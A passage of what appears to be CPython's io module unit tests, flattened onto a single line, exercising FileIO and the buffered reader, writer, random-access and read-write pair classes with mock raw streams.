f:file = self.open(f.fileno(), \"r\", closefd=False)self.assertEqual(file.read(), \"egg\\n\")file.seek(0)file.close()self.assertRaises(ValueError, file.read)def test_no_closefd_with_filename(self):# can't use closefd in combination with a file nameself.assertRaises(ValueError, self.open, support.TESTFN, \"r\", closefd=False)def test_closefd_attr(self):with self.open(support.TESTFN, \"wb\") as f:f.write(b\"egg\\n\")with self.open(support.TESTFN, \"r\") as f:self.assertEqual(f.buffer.raw.closefd, True)file = self.open(f.fileno(), \"r\", closefd=False)self.assertEqual(file.buffer.raw.closefd, False)def test_garbage_collection(self):# FileIO objects are collected, and collecting them flushes# all data to disk.f = self.FileIO(support.TESTFN, \"wb\")f.write(b\"abcxxx\")f.f = fwr = weakref.ref(f)del fsupport.gc_collect()self.assertTrue(wr() is None, wr)with self.open(support.TESTFN, \"rb\") as f:self.assertEqual(f.read(), b\"abcxxx\")def test_unbounded_file(self):# Issue #1174606: reading from an unbounded stream such as /dev/zero.zero = \"/dev/zero\"if not os.path.exists(zero):self.skipTest(\"{0} does not exist\".format(zero))if sys.maxsize > 0x7FFFFFFF:self.skipTest(\"test can only run in a 32-bit address space\")if support.real_max_memuse < support._2G:self.skipTest(\"test requires at least 2GB of memory\")with self.open(zero, \"rb\", buffering=0) as f:self.assertRaises(OverflowError, f.read)with self.open(zero, \"rb\") as f:self.assertRaises(OverflowError, f.read)with self.open(zero, \"r\") as f:self.assertRaises(OverflowError, f.read)def test_flush_error_on_close(self):f = self.open(support.TESTFN, \"wb\", buffering=0)def bad_flush():raise IOError()f.flush = bad_flushself.assertRaises(IOError, f.close) # exception not swallowedself.assertTrue(f.closed)def test_multi_close(self):f = self.open(support.TESTFN, \"wb\", buffering=0)f.close()f.close()f.close()self.assertRaises(ValueError, f.flush)def test_RawIOBase_read(self):# Exercise the default RawIOBase.read() implementation (which calls# readinto() internally).rawio = self.MockRawIOWithoutRead((b\"abc\", b\"d\", None, b\"efg\", None))self.assertEqual(rawio.read(2), b\"ab\")self.assertEqual(rawio.read(2), b\"c\")self.assertEqual(rawio.read(2), b\"d\")self.assertEqual(rawio.read(2), None)self.assertEqual(rawio.read(2), b\"ef\")self.assertEqual(rawio.read(2), b\"g\")self.assertEqual(rawio.read(2), None)self.assertEqual(rawio.read(2), b\"\")def test_fileio_closefd(self):# Issue #4841with self.open(__file__, 'rb') as f1, \\self.open(__file__, 'rb') as f2:fileio = self.FileIO(f1.fileno(), closefd=False)# .__init__() must not close f1fileio.__init__(f2.fileno(), closefd=False)f1.readline()# .close() must not close f2fileio.close()f2.readline()def test_nonbuffered_textio(self):with warnings.catch_warnings(record=True) as recorded:with self.assertRaises(ValueError):self.open(support.TESTFN, 'w', buffering=0)support.gc_collect()self.assertEqual(recorded, [])def test_invalid_newline(self):with warnings.catch_warnings(record=True) as recorded:with self.assertRaises(ValueError):self.open(support.TESTFN, 'w', newline='invalid')support.gc_collect()self.assertEqual(recorded, [])class CIOTest(IOTest):def test_IOBase_finalize(self):# Issue #12149: segmentation fault on _PyIOBase_finalize when both a# class which inherits IOBase and an object of this class are caught# in a reference cycle and close() is already in the method cache.class MyIO(self.IOBase):def close(self):pass# create an instance to populate the method cacheMyIO()obj = MyIO()obj.obj = objwr = weakref.ref(obj)del MyIOdel objsupport.gc_collect()self.assertTrue(wr() is None, wr)class PyIOTest(IOTest):test_array_writes = unittest.skip(\"len(array.array) returns number of elements rather than bytelength\")(IOTest.test_array_writes)class CommonBufferedTests:# Tests common to BufferedReader, BufferedWriter and BufferedRandomdef test_detach(self):raw = self.MockRawIO()buf = self.tp(raw)self.assertIs(buf.detach(), raw)self.assertRaises(ValueError, buf.detach)def test_fileno(self):rawio = self.MockRawIO()bufio = self.tp(rawio)self.assertEqual(42, bufio.fileno())@unittest.skip('test having existential crisis')def test_no_fileno(self):# XXX will we always have fileno() function? If so, kill# this test. Else, write it.passdef test_invalid_args(self):rawio = self.MockRawIO()bufio = self.tp(rawio)# Invalid whenceself.assertRaises(ValueError, bufio.seek, 0, -1)self.assertRaises(ValueError, bufio.seek, 0, 3)def test_override_destructor(self):tp = self.tprecord = []class MyBufferedIO(tp):def __del__(self):record.append(1)try:f = super(MyBufferedIO, self).__del__except AttributeError:passelse:f()def close(self):record.append(2)super(MyBufferedIO, self).close()def flush(self):record.append(3)super(MyBufferedIO, self).flush()rawio = self.MockRawIO()bufio = MyBufferedIO(rawio)writable = bufio.writable()del bufiosupport.gc_collect()if writable:self.assertEqual(record, [1, 2, 3])else:self.assertEqual(record, [1, 2])def test_context_manager(self):# Test usability as a context managerrawio = self.MockRawIO()bufio = self.tp(rawio)def _with():with bufio:pass_with()# bufio should now be closed, and using it a second time should raise# a ValueError.self.assertRaises(ValueError, _with)def test_error_through_destructor(self):# Test that the exception state is not modified by a destructor,# even if close() fails.rawio = self.CloseFailureIO()def f():self.tp(rawio).xyzzywith support.captured_output(\"stderr\") as s:self.assertRaises(AttributeError, f)s = s.getvalue().strip()if s:# The destructor *may* have printed an unraisable error, check itself.assertEqual(len(s.splitlines()), 1)self.assertTrue(s.startswith(\"Exception IOError: \"), s)self.assertTrue(s.endswith(\" ignored\"), s)def test_repr(self):raw = self.MockRawIO()b = self.tp(raw)clsname = \"%s.%s\" % (self.tp.__module__, self.tp.__name__)self.assertEqual(repr(b), \"<%s>\" % clsname)raw.name = \"dummy\"self.assertEqual(repr(b), \"<%s name=u'dummy'>\" % clsname)raw.name = b\"dummy\"self.assertEqual(repr(b), \"<%s name='dummy'>\" % clsname)def test_flush_error_on_close(self):raw = self.MockRawIO()def bad_flush():raise IOError()raw.flush = bad_flushb = self.tp(raw)self.assertRaises(IOError, b.close) # exception not swallowedself.assertTrue(b.closed)def test_close_error_on_close(self):raw = self.MockRawIO()def bad_flush():raise IOError('flush')def bad_close():raise IOError('close')raw.close = bad_closeb = self.tp(raw)b.flush = bad_flushwith self.assertRaises(IOError) as err: # exception not swallowedb.close()self.assertEqual(err.exception.args, ('close',))self.assertFalse(b.closed)def test_multi_close(self):raw = self.MockRawIO()b = self.tp(raw)b.close()b.close()b.close()self.assertRaises(ValueError, b.flush)def test_readonly_attributes(self):raw = self.MockRawIO()buf = self.tp(raw)x = self.MockRawIO()with self.assertRaises((AttributeError, TypeError)):buf.raw = xclass SizeofTest:@support.cpython_onlydef test_sizeof(self):bufsize1 = 4096bufsize2 = 8192rawio = self.MockRawIO()bufio = self.tp(rawio, buffer_size=bufsize1)size = sys.getsizeof(bufio) - bufsize1rawio = self.MockRawIO()bufio = self.tp(rawio, buffer_size=bufsize2)self.assertEqual(sys.getsizeof(bufio), size + bufsize2)class BufferedReaderTest(unittest.TestCase, CommonBufferedTests):read_mode = \"rb\"def test_constructor(self):rawio = self.MockRawIO([b\"abc\"])bufio = self.tp(rawio)bufio.__init__(rawio)bufio.__init__(rawio, buffer_size=1024)bufio.__init__(rawio, buffer_size=16)self.assertEqual(b\"abc\", bufio.read())self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=0)self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-16)self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-1)rawio = self.MockRawIO([b\"abc\"])bufio.__init__(rawio)self.assertEqual(b\"abc\", bufio.read())def test_uninitialized(self):bufio = self.tp.__new__(self.tp)del bufiobufio = self.tp.__new__(self.tp)self.assertRaisesRegexp((ValueError, AttributeError),'uninitialized|has no attribute',bufio.read, 0)bufio.__init__(self.MockRawIO())self.assertEqual(bufio.read(0), b'')def test_read(self):for arg in (None, 7):rawio = self.MockRawIO((b\"abc\", b\"d\", b\"efg\"))bufio = self.tp(rawio)self.assertEqual(b\"abcdefg\", bufio.read(arg))# Invalid argsself.assertRaises(ValueError, bufio.read, -2)def test_read1(self):rawio = self.MockRawIO((b\"abc\", b\"d\", b\"efg\"))bufio = self.tp(rawio)self.assertEqual(b\"a\", bufio.read(1))self.assertEqual(b\"b\", bufio.read1(1))self.assertEqual(rawio._reads, 1)self.assertEqual(b\"c\", bufio.read1(100))self.assertEqual(rawio._reads, 1)self.assertEqual(b\"d\", bufio.read1(100))self.assertEqual(rawio._reads, 2)self.assertEqual(b\"efg\", bufio.read1(100))self.assertEqual(rawio._reads, 3)self.assertEqual(b\"\", bufio.read1(100))self.assertEqual(rawio._reads, 4)# Invalid argsself.assertRaises(ValueError, bufio.read1, -1)def test_readinto(self):rawio = self.MockRawIO((b\"abc\", b\"d\", b\"efg\"))bufio = self.tp(rawio)b = bytearray(2)self.assertEqual(bufio.readinto(b), 2)self.assertEqual(b, b\"ab\")self.assertEqual(bufio.readinto(b), 2)self.assertEqual(b, b\"cd\")self.assertEqual(bufio.readinto(b), 2)self.assertEqual(b, b\"ef\")self.assertEqual(bufio.readinto(b), 1)self.assertEqual(b, b\"gf\")self.assertEqual(bufio.readinto(b), 0)self.assertEqual(b, b\"gf\")def test_readlines(self):def bufio():rawio = self.MockRawIO((b\"abc\\n\", b\"d\\n\", b\"ef\"))return self.tp(rawio)self.assertEqual(bufio().readlines(), [b\"abc\\n\", b\"d\\n\", b\"ef\"])self.assertEqual(bufio().readlines(5), [b\"abc\\n\", b\"d\\n\"])self.assertEqual(bufio().readlines(None), [b\"abc\\n\", b\"d\\n\", b\"ef\"])def test_buffering(self):data = b\"abcdefghi\"dlen = len(data)tests = [[ 100, [ 3, 1, 4, 8 ], [ dlen, 0 ] ],[ 100, [ 3, 3, 3], [ dlen ] ],[ 4, [ 1, 2, 4, 2 ], [ 4, 4, 1 ] ],]for bufsize, buf_read_sizes, raw_read_sizes in tests:rawio = self.MockFileIO(data)bufio = self.tp(rawio, buffer_size=bufsize)pos = 0for nbytes in buf_read_sizes:self.assertEqual(bufio.read(nbytes), data[pos:pos+nbytes])pos += nbytes# this is mildly implementation-dependentself.assertEqual(rawio.read_history, raw_read_sizes)def test_read_non_blocking(self):# Inject some None's in there to simulate EWOULDBLOCKrawio = self.MockRawIO((b\"abc\", b\"d\", None, b\"efg\", None, None, None))bufio = self.tp(rawio)self.assertEqual(b\"abcd\", bufio.read(6))self.assertEqual(b\"e\", bufio.read(1))self.assertEqual(b\"fg\", bufio.read())self.assertEqual(b\"\", bufio.peek(1))self.assertIsNone(bufio.read())self.assertEqual(b\"\", bufio.read())rawio = self.MockRawIO((b\"a\", None, None))self.assertEqual(b\"a\", rawio.readall())self.assertIsNone(rawio.readall())def test_read_past_eof(self):rawio = self.MockRawIO((b\"abc\", b\"d\", b\"efg\"))bufio = self.tp(rawio)self.assertEqual(b\"abcdefg\", bufio.read(9000))def test_read_all(self):rawio = self.MockRawIO((b\"abc\", b\"d\", b\"efg\"))bufio = self.tp(rawio)self.assertEqual(b\"abcdefg\", bufio.read())@unittest.skipUnless(threading, 'Threading required for this test.')@support.requires_resource('cpu')def test_threads(self):try:# Write out many bytes with exactly the same number of 0's,# 1's... 255's. This will help us check that concurrent reading# doesn't duplicate or forget contents.N = 1000l = list(range(256)) * Nrandom.shuffle(l)s = bytes(bytearray(l))with self.open(support.TESTFN, \"wb\") as f:f.write(s)with self.open(support.TESTFN, self.read_mode, buffering=0) as raw:bufio = self.tp(raw, 8)errors = []results = []def f():try:# Intra-buffer read then buffer-flushing readfor n in cycle([1, 19]):s = bufio.read(n)if not s:break# list.append() is atomicresults.append(s)except Exception as e:errors.append(e)raisethreads = [threading.Thread(target=f) for x in range(20)]for t in threads:t.start()time.sleep(0.02) # yieldfor t in threads:t.join()self.assertFalse(errors,\"the following exceptions were caught: %r\" % errors)s = b''.join(results)for i in range(256):c = bytes(bytearray([i]))self.assertEqual(s.count(c), N)finally:support.unlink(support.TESTFN)def test_misbehaved_io(self):rawio = self.MisbehavedRawIO((b\"abc\", b\"d\", b\"efg\"))bufio = self.tp(rawio)self.assertRaises(IOError, bufio.seek, 0)self.assertRaises(IOError, bufio.tell)def test_no_extraneous_read(self):# Issue #9550; when the raw IO object has satisfied the read request,# we should not issue any additional reads, otherwise it may block# (e.g. socket).bufsize = 16for n in (2, bufsize - 1, bufsize, bufsize + 1, bufsize * 2):rawio = self.MockRawIO([b\"x\" * n])bufio = self.tp(rawio, bufsize)self.assertEqual(bufio.read(n), b\"x\" * n)# Simple case: one raw read is enough to satisfy the request.self.assertEqual(rawio._extraneous_reads, 0,\"failed for {}: {} != 0\".format(n, rawio._extraneous_reads))# A more complex case where two raw reads are needed to satisfy# the request.rawio = self.MockRawIO([b\"x\" * (n - 1), b\"x\"])bufio = self.tp(rawio, bufsize)self.assertEqual(bufio.read(n), b\"x\" * n)self.assertEqual(rawio._extraneous_reads, 0,\"failed for {}: {} != 0\".format(n, rawio._extraneous_reads))class CBufferedReaderTest(BufferedReaderTest, SizeofTest):tp = io.BufferedReaderdef test_constructor(self):BufferedReaderTest.test_constructor(self)# The allocation can succeed on 32-bit builds, e.g. with more# than 2GB RAM and a 64-bit kernel.if sys.maxsize > 0x7FFFFFFF:rawio = self.MockRawIO()bufio = self.tp(rawio)self.assertRaises((OverflowError, MemoryError, ValueError),bufio.__init__, rawio, sys.maxsize)def test_initialization(self):rawio = self.MockRawIO([b\"abc\"])bufio = self.tp(rawio)self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=0)self.assertRaises(ValueError, bufio.read)self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-16)self.assertRaises(ValueError, bufio.read)self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-1)self.assertRaises(ValueError, bufio.read)def test_misbehaved_io_read(self):rawio = self.MisbehavedRawIO((b\"abc\", b\"d\", b\"efg\"))bufio = self.tp(rawio)# _pyio.BufferedReader seems to implement reading different, so that# checking this is not so easy.self.assertRaises(IOError, bufio.read, 10)def test_garbage_collection(self):# C BufferedReader objects are collected.# The Python version has __del__, so it ends into gc.garbage insteadrawio = self.FileIO(support.TESTFN, \"w+b\")f = self.tp(rawio)f.f = fwr = weakref.ref(f)del fsupport.gc_collect()self.assertTrue(wr() is None, wr)@support.impl_detail(cpython=True)def test_args_error(self):# Issue #17275with self.assertRaisesRegexp(TypeError, \"BufferedReader\"):self.tp(io.BytesIO(), 1024, 1024, 1024)class PyBufferedReaderTest(BufferedReaderTest):tp = pyio.BufferedReaderclass BufferedWriterTest(unittest.TestCase, CommonBufferedTests):write_mode = \"wb\"def test_constructor(self):rawio = self.MockRawIO()bufio = self.tp(rawio)bufio.__init__(rawio)bufio.__init__(rawio, buffer_size=1024)bufio.__init__(rawio, buffer_size=16)self.assertEqual(3, bufio.write(b\"abc\"))bufio.flush()self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=0)self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-16)self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-1)bufio.__init__(rawio)self.assertEqual(3, bufio.write(b\"ghi\"))bufio.flush()self.assertEqual(b\"\".join(rawio._write_stack), b\"abcghi\")def test_uninitialized(self):bufio = self.tp.__new__(self.tp)del bufiobufio = self.tp.__new__(self.tp)self.assertRaisesRegexp((ValueError, AttributeError),'uninitialized|has no attribute',bufio.write, b'')bufio.__init__(self.MockRawIO())self.assertEqual(bufio.write(b''), 0)def test_detach_flush(self):raw = self.MockRawIO()buf = self.tp(raw)buf.write(b\"howdy!\")self.assertFalse(raw._write_stack)buf.detach()self.assertEqual(raw._write_stack, [b\"howdy!\"])def test_write(self):# Write to the buffered IO but don't overflow the buffer.writer = self.MockRawIO()bufio = self.tp(writer, 8)bufio.write(b\"abc\")self.assertFalse(writer._write_stack)def test_write_overflow(self):writer = self.MockRawIO()bufio = self.tp(writer, 8)contents = b\"abcdefghijklmnop\"for n in range(0, len(contents), 3):bufio.write(contents[n:n+3])flushed = b\"\".join(writer._write_stack)# At least (total - 8) bytes were implicitly flushed, perhaps more# depending on the implementation.self.assertTrue(flushed.startswith(contents[:-8]), flushed)def check_writes(self, intermediate_func):# Lots of writes, test the flushed output is as expected.contents = bytes(range(256)) * 1000n = 0writer = self.MockRawIO()bufio = self.tp(writer, 13)# Generator of write sizes: repeat each N 15 times then proceed to N+1def gen_sizes():for size in count(1):for i in range(15):yield sizesizes = gen_sizes()while n < len(contents):size = min(next(sizes), len(contents) - n)self.assertEqual(bufio.write(contents[n:n+size]), size)intermediate_func(bufio)n += sizebufio.flush()self.assertEqual(contents,b\"\".join(writer._write_stack))def test_writes(self):self.check_writes(lambda bufio: None)def test_writes_and_flushes(self):self.check_writes(lambda bufio: bufio.flush())def test_writes_and_seeks(self):def _seekabs(bufio):pos = bufio.tell()bufio.seek(pos + 1, 0)bufio.seek(pos - 1, 0)bufio.seek(pos, 0)self.check_writes(_seekabs)def _seekrel(bufio):pos = bufio.seek(0, 1)bufio.seek(+1, 1)bufio.seek(-1, 1)bufio.seek(pos, 0)self.check_writes(_seekrel)def test_writes_and_truncates(self):self.check_writes(lambda bufio: bufio.truncate(bufio.tell()))def test_write_non_blocking(self):raw = self.MockNonBlockWriterIO()bufio = self.tp(raw, 8)self.assertEqual(bufio.write(b\"abcd\"), 4)self.assertEqual(bufio.write(b\"efghi\"), 5)# 1 byte will be written, the rest will be bufferedraw.block_on(b\"k\")self.assertEqual(bufio.write(b\"jklmn\"), 5)# 8 bytes will be written, 8 will be buffered and the rest will be lostraw.block_on(b\"0\")try:bufio.write(b\"opqrwxyz0123456789\")except self.BlockingIOError as e:written = e.characters_writtenelse:self.fail(\"BlockingIOError should have been raised\")self.assertEqual(written, 16)self.assertEqual(raw.pop_written(),b\"abcdefghijklmnopqrwxyz\")self.assertEqual(bufio.write(b\"ABCDEFGHI\"), 9)s = raw.pop_written()# Previously buffered bytes were flushedself.assertTrue(s.startswith(b\"01234567A\"), s)def test_write_and_rewind(self):raw = io.BytesIO()bufio = self.tp(raw, 4)self.assertEqual(bufio.write(b\"abcdef\"), 6)self.assertEqual(bufio.tell(), 6)bufio.seek(0, 0)self.assertEqual(bufio.write(b\"XY\"), 2)bufio.seek(6, 0)self.assertEqual(raw.getvalue(), b\"XYcdef\")self.assertEqual(bufio.write(b\"123456\"), 6)bufio.flush()self.assertEqual(raw.getvalue(), b\"XYcdef123456\")def test_flush(self):writer = self.MockRawIO()bufio = self.tp(writer, 8)bufio.write(b\"abc\")bufio.flush()self.assertEqual(b\"abc\", writer._write_stack[0])def test_writelines(self):l = [b'ab', b'cd', b'ef']writer = self.MockRawIO()bufio = self.tp(writer, 8)bufio.writelines(l)bufio.flush()self.assertEqual(b''.join(writer._write_stack), b'abcdef')def test_writelines_userlist(self):l = UserList([b'ab', b'cd', b'ef'])writer = self.MockRawIO()bufio = self.tp(writer, 8)bufio.writelines(l)bufio.flush()self.assertEqual(b''.join(writer._write_stack), b'abcdef')def test_writelines_error(self):writer = self.MockRawIO()bufio = self.tp(writer, 8)self.assertRaises(TypeError, bufio.writelines, [1, 2, 3])self.assertRaises(TypeError, bufio.writelines, None)def test_destructor(self):writer = self.MockRawIO()bufio = self.tp(writer, 8)bufio.write(b\"abc\")del bufiosupport.gc_collect()self.assertEqual(b\"abc\", writer._write_stack[0])def test_truncate(self):# Truncate implicitly flushes the buffer.with self.open(support.TESTFN, self.write_mode, buffering=0) as raw:bufio = self.tp(raw, 8)bufio.write(b\"abcdef\")self.assertEqual(bufio.truncate(3), 3)self.assertEqual(bufio.tell(), 6)with self.open(support.TESTFN, \"rb\", buffering=0) as f:self.assertEqual(f.read(), b\"abc\")@unittest.skipUnless(threading, 'Threading required for this test.')@support.requires_resource('cpu')def test_threads(self):try:# Write out many bytes from many threads and test they were# all flushed.N = 1000contents = bytes(range(256)) * Nsizes = cycle([1, 19])n = 0queue = deque()while n < len(contents):size = next(sizes)queue.append(contents[n:n+size])n += sizedel contents# We use a real file object because it allows us to# exercise situations where the GIL is released before# writing the buffer to the raw streams. This is in addition# to concurrency issues due to switching threads in the middle# of Python code.with self.open(support.TESTFN, self.write_mode, buffering=0) as raw:bufio = self.tp(raw, 8)errors = []def f():try:while True:try:s = queue.popleft()except IndexError:returnbufio.write(s)except Exception as e:errors.append(e)raisethreads = [threading.Thread(target=f) for x in range(20)]for t in threads:t.start()time.sleep(0.02) # yieldfor t in threads:t.join()self.assertFalse(errors,\"the following exceptions were caught: %r\" % errors)bufio.close()with self.open(support.TESTFN, \"rb\") as f:s = f.read()for i in range(256):self.assertEqual(s.count(bytes([i])), N)finally:support.unlink(support.TESTFN)def test_misbehaved_io(self):rawio = self.MisbehavedRawIO()bufio = self.tp(rawio, 5)self.assertRaises(IOError, bufio.seek, 0)self.assertRaises(IOError, bufio.tell)self.assertRaises(IOError, bufio.write, b\"abcdef\")def test_max_buffer_size_deprecation(self):with support.check_warnings((\"max_buffer_size is deprecated\",DeprecationWarning)):self.tp(self.MockRawIO(), 8, 12)def test_write_error_on_close(self):raw = self.MockRawIO()def bad_write(b):raise IOError()raw.write = bad_writeb = self.tp(raw)b.write(b'spam')self.assertRaises(IOError, b.close) # exception not swallowedself.assertTrue(b.closed)class CBufferedWriterTest(BufferedWriterTest, SizeofTest):tp = io.BufferedWriterdef test_constructor(self):BufferedWriterTest.test_constructor(self)# The allocation can succeed on 32-bit builds, e.g. with more# than 2GB RAM and a 64-bit kernel.if sys.maxsize > 0x7FFFFFFF:rawio = self.MockRawIO()bufio = self.tp(rawio)self.assertRaises((OverflowError, MemoryError, ValueError),bufio.__init__, rawio, sys.maxsize)def test_initialization(self):rawio = self.MockRawIO()bufio = self.tp(rawio)self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=0)self.assertRaises(ValueError, bufio.write, b\"def\")self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-16)self.assertRaises(ValueError, bufio.write, b\"def\")self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-1)self.assertRaises(ValueError, bufio.write, b\"def\")def test_garbage_collection(self):# C BufferedWriter objects are collected, and collecting them flushes# all data to disk.# The Python version has __del__, so it ends into gc.garbage insteadrawio = self.FileIO(support.TESTFN, \"w+b\")f = self.tp(rawio)f.write(b\"123xxx\")f.x = fwr = weakref.ref(f)del fsupport.gc_collect()self.assertTrue(wr() is None, wr)with self.open(support.TESTFN, \"rb\") as f:self.assertEqual(f.read(), b\"123xxx\")@support.impl_detail(cpython=True)def test_args_error(self):# Issue #17275with self.assertRaisesRegexp(TypeError, \"BufferedWriter\"):self.tp(io.BytesIO(), 1024, 1024, 1024)class PyBufferedWriterTest(BufferedWriterTest):tp = pyio.BufferedWriterclass BufferedRWPairTest(unittest.TestCase):def test_constructor(self):pair = self.tp(self.MockRawIO(), self.MockRawIO())self.assertFalse(pair.closed)def test_uninitialized(self):pair = self.tp.__new__(self.tp)del pairpair = self.tp.__new__(self.tp)self.assertRaisesRegexp((ValueError, AttributeError),'uninitialized|has no attribute',pair.read, 0)self.assertRaisesRegexp((ValueError, AttributeError),'uninitialized|has no attribute',pair.write, b'')pair.__init__(self.MockRawIO(), self.MockRawIO())self.assertEqual(pair.read(0), b'')self.assertEqual(pair.write(b''), 0)def test_detach(self):pair = self.tp(self.MockRawIO(), self.MockRawIO())self.assertRaises(self.UnsupportedOperation, pair.detach)def test_constructor_max_buffer_size_deprecation(self):with support.check_warnings((\"max_buffer_size is deprecated\",DeprecationWarning)):self.tp(self.MockRawIO(), self.MockRawIO(), 8, 12)def test_constructor_with_not_readable(self):class NotReadable(MockRawIO):def readable(self):return Falseself.assertRaises(IOError, self.tp, NotReadable(), self.MockRawIO())def test_constructor_with_not_writeable(self):class NotWriteable(MockRawIO):def writable(self):return Falseself.assertRaises(IOError, self.tp, self.MockRawIO(), NotWriteable())def test_read(self):pair = self.tp(self.BytesIO(b\"abcdef\"), self.MockRawIO())self.assertEqual(pair.read(3), b\"abc\")self.assertEqual(pair.read(1), b\"d\")self.assertEqual(pair.read(), b\"ef\")pair = self.tp(self.BytesIO(b\"abc\"), self.MockRawIO())self.assertEqual(pair.read(None), b\"abc\")def test_readlines(self):pair = lambda: self.tp(self.BytesIO(b\"abc\\ndef\\nh\"), self.MockRawIO())self.assertEqual(pair().readlines(), [b\"abc\\n\", b\"def\\n\", b\"h\"])self.assertEqual(pair().readlines(), [b\"abc\\n\", b\"def\\n\", b\"h\"])self.assertEqual(pair().readlines(5), [b\"abc\\n\", b\"def\\n\"])def test_read1(self):# .read1() is delegated to the underlying reader object, so this test# can be shallow.pair = self.tp(self.BytesIO(b\"abcdef\"), self.MockRawIO())self.assertEqual(pair.read1(3), b\"abc\")def test_readinto(self):pair = self.tp(self.BytesIO(b\"abcdef\"), self.MockRawIO())data = bytearray(5)self.assertEqual(pair.readinto(data), 5)self.assertEqual(data, b\"abcde\")def test_write(self):w = self.MockRawIO()pair = self.tp(self.MockRawIO(), w)pair.write(b\"abc\")pair.flush()pair.write(b\"def\")pair.flush()self.assertEqual(w._write_stack, [b\"abc\", b\"def\"])def test_peek(self):pair = self.tp(self.BytesIO(b\"abcdef\"), self.MockRawIO())self.assertTrue(pair.peek(3).startswith(b\"abc\"))self.assertEqual(pair.read(3), b\"abc\")def test_readable(self):pair = self.tp(self.MockRawIO(), self.MockRawIO())self.assertTrue(pair.readable())def test_writeable(self):pair = self.tp(self.MockRawIO(), self.MockRawIO())self.assertTrue(pair.writable())def test_seekable(self):# BufferedRWPairs are never seekable, even if their readers and writers# are.pair = self.tp(self.MockRawIO(), self.MockRawIO())self.assertFalse(pair.seekable())# .flush() is delegated to the underlying writer object and has been# tested in the test_write method.def test_close_and_closed(self):pair = self.tp(self.MockRawIO(), self.MockRawIO())self.assertFalse(pair.closed)pair.close()self.assertTrue(pair.closed)def test_isatty(self):class SelectableIsAtty(MockRawIO):def __init__(self, isatty):MockRawIO.__init__(self)self._isatty = isattydef isatty(self):return self._isattypair = self.tp(SelectableIsAtty(False), SelectableIsAtty(False))self.assertFalse(pair.isatty())pair = self.tp(SelectableIsAtty(True), SelectableIsAtty(False))self.assertTrue(pair.isatty())pair = self.tp(SelectableIsAtty(False), SelectableIsAtty(True))self.assertTrue(pair.isatty())pair = self.tp(SelectableIsAtty(True), SelectableIsAtty(True))self.assertTrue(pair.isatty())def test_weakref_clearing(self):brw = self.tp(self.MockRawIO(), self.MockRawIO())ref = weakref.ref(brw)brw = Noneref = None # Shouldn't segfault.class CBufferedRWPairTest(BufferedRWPairTest):tp = io.BufferedRWPairclass PyBufferedRWPairTest(BufferedRWPairTest):tp = pyio.BufferedRWPairclass BufferedRandomTest(BufferedReaderTest, BufferedWriterTest):read_mode = \"rb+\"write_mode = \"wb+\"def test_constructor(self):BufferedReaderTest.test_constructor(self)BufferedWriterTest.test_constructor(self)def test_uninitialized(self):BufferedReaderTest.test_uninitialized(self)BufferedWriterTest.test_uninitialized(self)def test_read_and_write(self):raw = self.MockRawIO((b\"asdf\", b\"ghjk\"))rw = self.tp(raw, 8)self.assertEqual(b\"as\", rw.read(2))rw.write(b\"ddd\")rw.write(b\"eee\")self.assertFalse(raw._write_stack) # Buffer writesself.assertEqual(b\"ghjk\", rw.read())self.assertEqual(b\"dddeee\", raw._write_stack[0])def test_seek_and_tell(self):raw = self.BytesIO(b\"asdfghjkl\")rw = self.tp(raw)self.assertEqual(b\"as\", rw.read(2))self.assertEqual(2, rw.tell())rw.seek(0, 0)self.assertEqual(b\"asdf\", rw.read(4))rw.write(b\"123f\")rw.seek(0, 0)self.assertEqual(b\"asdf123fl\", rw.read())self.assertEqual(9, rw.tell())rw.seek(-4, 2)self.assertEqual(5, rw.tell())rw.seek(2, 1)self.assertEqual(7, rw.tell())self.assertEqual(b\"fl\", rw.read(11))rw.flush()self.assertEqual(b\"asdf123fl\", raw.getvalue())self.assertRaises(TypeError, rw.seek, 0.0)def check_flush_and_read(self, read_func):raw = self.BytesIO(b\"abcdefghi\")bufio = self.tp(raw)self.assertEqual(b\"ab\", read_func(bufio, 2))bufio.write(b\"12\")self.assertEqual(b\"ef\", read_func(bufio, 2))self.assertEqual(6, bufio.tell())bufio.flush()self.assertEqual(6, bufio.tell())self.assertEqual(b\"ghi\", read_func(bufio))raw.seek(0, 0)raw.write(b\"XYZ\")# flush() resets the read bufferbufio.flush()bufio.seek(0, 0)self.assertEqual(b\"XYZ\", read_func(bufio, 3))def test_flush_and_read(self):self.check_flush_and_read(lambda bufio, *args: bufio.read(*args))def test_flush_and_readinto(self):def _readinto(bufio, n=-1):b = bytearray(n if n >= 0 else 9999)n = bufio.readinto(b)return bytes(b[:n])self.check_flush_and_read(_readinto)def test_flush_and_peek(self):def _peek(bufio, n=-1):# This relies on the fact that the buffer can contain the whole# raw stream, otherwise peek() can return less.b = bufio.peek(n)if n != -1:b = b[:n]bufio.seek(len(b), 1)return bself.check_flush_and_read(_peek)def test_flush_and_write(self):raw = self.BytesIO(b\"abcdefghi\")bufio = self.tp(raw)bufio.write(b\"123\")bufio.flush()bufio.write(b\"45\")bufio.flush()bufio.seek(0, 0)self.assertEqual(b\"12345fghi\", raw.getvalue())self.assertEqual(b\"12345fghi\", bufio.read())def test_threads(self):BufferedReaderTest.test_threads(self)BufferedWriterTest.test_threads(self)def test_writes_and_peek(self):def _peek(bufio):bufio.peek(1)self.check_writes(_peek)def _peek(bufio):pos = bufio.tell()bufio.seek(-1, 1)bufio.peek(1)bufio.seek(pos, 0)self.check_writes(_peek)def test_writes_and_reads(self):def _read(bufio):bufio.seek(-1, 1)bufio.read(1)self.check_writes(_read)def test_writes_and_read1s(self):def _read1(bufio):bufio.seek(-1, 1)bufio.read1(1)self.check_writes(_read1)def test_writes_and_readintos(self):def _read(bufio):bufio.seek(-1, 1)bufio.readinto(bytearray(1))self.check_writes(_read)def test_write_after_readahead(self):# Issue #6629: writing after the buffer was filled by readahead should# first rewind the raw stream.for overwrite_size in [1, 5]:raw = self.BytesIO(b\"A\" * 10)bufio = self.tp(raw, 4)# Trigger readaheadself.assertEqual(bufio.read(1), 